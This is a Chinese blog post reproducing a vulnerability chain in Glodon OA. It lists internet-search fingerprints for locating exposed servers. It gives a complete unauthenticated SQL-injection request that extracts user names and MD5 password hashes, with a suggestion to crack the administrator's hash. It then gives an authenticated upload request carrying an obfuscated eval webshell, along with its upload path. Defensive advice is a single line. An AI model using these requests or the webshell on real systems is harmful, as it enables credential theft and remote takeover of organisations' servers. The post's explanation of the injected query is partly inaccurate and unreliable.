广联达OA前台sql注入+后台文件上传漏洞复现分析

文章目录

  • 前言
  • 资产特征
  • 前台sql注入
  • 后台文件上传
  • 解决办法

前言

最近看到广联达OA的前端sql注入和后端文件上传漏洞联动的poc

广联达科技股份有限公司以建设工程领域专业应用为核心基础支撑,提供一百余款基于“端+云+大数据”产品/服务,提供产业大数据、产业新金融等增值服务的数字建筑平台服务商。

广联达协同办公管理平台其实之前听得比较少,查了下公司资料,怪不得都是建工类的公司在用

资产特征

鹰图:web.body=“/Services/Identification/Server/”

fofa :“/Services/Identification/Server/“或者fid=”/yV4r5PdARKT4jaqLjJYqw==”

前台sql注入

下面先来看一下poc

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: xxx.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

根据这个poc可以看到,漏洞存在的路径为/Webservice/IM/Config/ConfigService.asmx/GetIMDictionary,先来看看这个地址上面有什么
广联达OA前台sql注入+后台文件上传漏洞复现分析_第1张图片
广联达OA前台sql注入+后台文件上传漏洞复现分析_第2张图片
基本上就是报错提示缺少参数值,那么注入点应该就是这里了

可以看到poc的正文为
dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
查询key值通过'就绕过了,执行后面的sql语句

这个查询语句是一个SQL语句,它的作用是从"T_ORG_USER"表中选择前1812行数据,并返回一个结果集。

具体来说,这个查询语句使用了UNION
ALL操作符来合并两个SELECT语句的结果集。第一个SELECT语句是固定的,它返回一个名为"dasdas"的列,并且该列的值为"&key=1’"。第二个SELECT语句使用了TOP
1812来限制结果集的行数,然后使用CONCAT函数将"F_CODE"和"F_PWD_MD5"两个字段的值连接起来作为结果集中的一列。

总结起来,这个查询语句的目的是从"T_ORG_USER"表中获取前1812行数据,并返回一个包含"dasdas"列和连接后的"F_CODE:F_PWD_MD5"列的结果集。

那么来看一下会有什么响应吧
广联达OA前台sql注入+后台文件上传漏洞复现分析_第3张图片
可以看到在result的value里面,会将用户名和密码的md5值通过:连接回显出来

可以去解md5的平台将管理员的密码解出来,当然不是白解的
广联达OA前台sql注入+后台文件上传漏洞复现分析_第4张图片
登陆进来后是下图
广联达OA前台sql注入+后台文件上传漏洞复现分析_第5张图片

后台文件上传

同样先上poc

POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Cookie: 登录后的cookie

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text

<%@ Page Language="Jscript" Debug=true%>
<%
var FRWT='XeKBdPAOslypgVhLxcIUNFmStvYbnJGuwEarqkifjTHZQzCoRMWD';
var GFMA=Request.Form("qmq1");
var ONOQ=FRWT(19) + FRWT(20) + FRWT(8) + FRWT(6) + FRWT(21) + FRWT(1);
eval(GFMA, ONOQ);
%>

------WebKitFormBoundaryFfJZ4PlAZBixjELj--

首先找一下漏洞位置,可以看到是一个附件上传的地方,并且会返回result,应该会返回地址
在这里插入图片描述
来看一下poc会响应什么
广联达OA前台sql注入+后台文件上传漏洞复现分析_第6张图片

可以看到上传后的文件名为0fc5eab1-03f0-4249-882d-7533247532b0-123.aspx

那么这个文件上传到的地址为哪里?

/GTP/IM/Services/Group/Upload/0fc5eab1-03f0-4249-882d-7533247532b0-123.aspx
广联达OA前台sql注入+后台文件上传漏洞复现分析_第7张图片
注意上传webshell的时候要传aspx马

解决办法

打补丁、升级版本
广联达OA前台sql注入+后台文件上传漏洞复现分析_第8张图片

你可能感兴趣的:(安全笔记,安全)